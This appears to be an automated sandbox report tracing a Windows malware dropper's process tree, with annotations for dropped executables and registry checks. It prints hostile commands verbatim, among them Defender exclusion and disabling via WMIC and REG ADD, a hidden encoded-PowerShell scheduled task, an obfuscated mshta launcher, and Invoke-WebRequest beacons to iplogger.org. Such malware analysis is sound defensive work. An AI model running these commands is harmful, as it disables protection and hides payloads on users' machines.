C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True13⤵
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&12⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3213⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6413⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&12⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:3213⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:6413⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gDbdIGjFp" /SC once /ST 05:55:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="11⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bRciptYQhTCMvEFWGJ" /SC once /ST 12:19:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\uOisvxB.exe\" W8 /site_id 668658 /S" /V1 /F11⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\CeFkiluAMQyODuEbVEgp7LoB.exe"C:\Users\Admin\Documents\CeFkiluAMQyODuEbVEgp7LoB.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 564 -s 2407⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Documents\z_H1VAvjMmLDtfT3_oxDDH6T.exe"C:\Users\Admin\Documents\z_H1VAvjMmLDtfT3_oxDDH6T.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4736 -s 2527⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Documents\vAKTTEUJ_ft2IRf8mST3MLF8.exe"C:\Users\Admin\Documents\vAKTTEUJ_ft2IRf8mST3MLF8.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\eYWGI9SwNcnDvBIUjDSbNv51.exe"C:\Users\Admin\Documents\eYWGI9SwNcnDvBIUjDSbNv51.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6132 -s 2407⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Documents\lIOckutY_iuKVJOR3mjrnek0.exe"C:\Users\Admin\Documents\lIOckutY_iuKVJOR3mjrnek0.exe"6⤵
-
C:\Users\Admin\Documents\V6YI8JZn5pAt6e_cFNW1Ensf.exe"C:\Users\Admin\Documents\V6YI8JZn5pAt6e_cFNW1Ensf.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c start "" "f.exe" & start "" "wwi.exe" & start "" "wwl.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"7⤵
-
C:\Users\Admin\AppData\Local\Temp\f.exe"f.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\wwi.exe"wwi.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\vss.exe"C:\Users\Admin\AppData\Local\Temp\vss.exe"9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL" ). run ( "CmD.EXE /c CopY /y ""C:\Users\Admin\AppData\Local\Temp\vss.exe"" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if """" == """" for %j In (""C:\Users\Admin\AppData\Local\Temp\vss.exe"" ) do taskkill /F -Im ""%~Nxj"" " , 0 ,TRUE ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\Admin\AppData\Local\Temp\vss.exe" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if "" == "" for %j In ("C:\Users\Admin\AppData\Local\Temp\vss.exe" ) do taskkill /F -Im "%~Nxj"11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV112⤵
-
C:\Users\Admin\AppData\Local\Temp\W7sP3hTJPToEEt.exEW7sP3HTJPToeET.exe /PCOd0LPl_yA12⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscripT: clOSE( cReATEoBjEct ( "WSCriPt.ShELL" ). run ( "CmD.EXE /c CopY /y ""C:\Users\Admin\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if ""/PCOd0LPl_yA"" == """" for %j In (""C:\Users\Admin\AppData\Local\Temp\W7sP3hTJPToEEt.exE"" ) do taskkill /F -Im ""%~Nxj"" " , 0 ,TRUE ) )13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CopY /y "C:\Users\Admin\AppData\Local\Temp\W7sP3hTJPToEEt.exE" W7sP3hTJPToEEt.exE && START W7sP3HTJPToeET.exe /PCOd0LPl_yA& if "/PCOd0LPl_yA" == "" for %j In ("C:\Users\Admin\AppData\Local\Temp\W7sP3hTJPToEEt.exE" ) do taskkill /F -Im "%~Nxj"14⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" GBmH.yE,MSoGFUg13⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -Im "vss.exe"12⤵
- Kills process with taskkill
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1hEue79⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e23846f8,0x7ff9e2384708,0x7ff9e238471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2252 /prefetch:210⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2776 /prefetch:810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 /prefetch:310⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:110⤵
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4024 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5240 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5192 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5220 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5700 /prefetch:810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5700 /prefetch:810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3440 /prefetch:210⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1532 /prefetch:810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4900 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5184 /prefetch:810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3712 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5200 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5824 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=6024 /prefetch:810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5176 /prefetch:810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3920 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5760 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3604 /prefetch:810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4052 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5460 /prefetch:810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1960 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1776 /prefetch:810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5620 /prefetch:110⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,3394074172184888102,11719507719202919276,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5508 /prefetch:110⤵
-
C:\Users\Admin\AppData\Local\Temp\wwl.exe"wwl.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"8⤵
- Blocklisted process makes network request
-
C:\Users\Admin\Documents\DKptXn3jfVFVAKGku53byhn_.exe"C:\Users\Admin\Documents\DKptXn3jfVFVAKGku53byhn_.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\cm3.exe"C:\Program Files (x86)\Company\NewProduct\cm3.exe"7⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"7⤵
-
C:\Users\Admin\Documents\PvvmbvvogLiGSYKj2WIinG97.exe"C:\Users\Admin\Documents\PvvmbvvogLiGSYKj2WIinG97.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\F6v8QfDECvM_9KPcSji0qsVp.exe"C:\Users\Admin\Documents\F6v8QfDECvM_9KPcSji0qsVp.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\7745731.scr"C:\Users\Admin\AppData\Roaming\7745731.scr" /S7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\7816467.scr"C:\Users\Admin\AppData\Roaming\7816467.scr" /S7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\8270546.scr"C:\Users\Admin\AppData\Roaming\8270546.scr" /S7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed221ce23cd2c4a6.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed221ce23cd2c4a6.exeWed221ce23cd2c4a6.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-SMVQU.tmp\Wed221ce23cd2c4a6.tmp"C:\Users\Admin\AppData\Local\Temp\is-SMVQU.tmp\Wed221ce23cd2c4a6.tmp" /SL5="$201F6,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS050378E0\Wed221ce23cd2c4a6.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-RTCB6.tmp\___YHDG34.exe"C:\Users\Admin\AppData\Local\Temp\is-RTCB6.tmp\___YHDG34.exe" /S /UID=burnerch27⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\ZYCYQICCXC\ultramediaburner.exe"C:\Users\Admin\AppData\Local\Temp\ZYCYQICCXC\ultramediaburner.exe" /VERYSILENT8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-6QP3C.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-6QP3C.tmp\ultramediaburner.tmp" /SL5="$3034C,281924,62464,C:\Users\Admin\AppData\Local\Temp\ZYCYQICCXC\ultramediaburner.exe" /VERYSILENT9⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
-
C:\Users\Admin\AppData\Local\Temp\5f-a64dd-5db-96aa6-c9e26411aad65\Nifaecivexe.exe"C:\Users\Admin\AppData\Local\Temp\5f-a64dd-5db-96aa6-c9e26411aad65\Nifaecivexe.exe"8⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e69⤵
- Suspicious use of SetThreadContext
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x10c,0x110,0x114,0xdc,0x118,0x7ff9e23846f8,0x7ff9e2384708,0x7ff9e238471810⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2200,6736383747495268271,7605285616404082660,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2204 /prefetch:210⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2200,6736383747495268271,7605285616404082660,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 /prefetch:310⤵
-
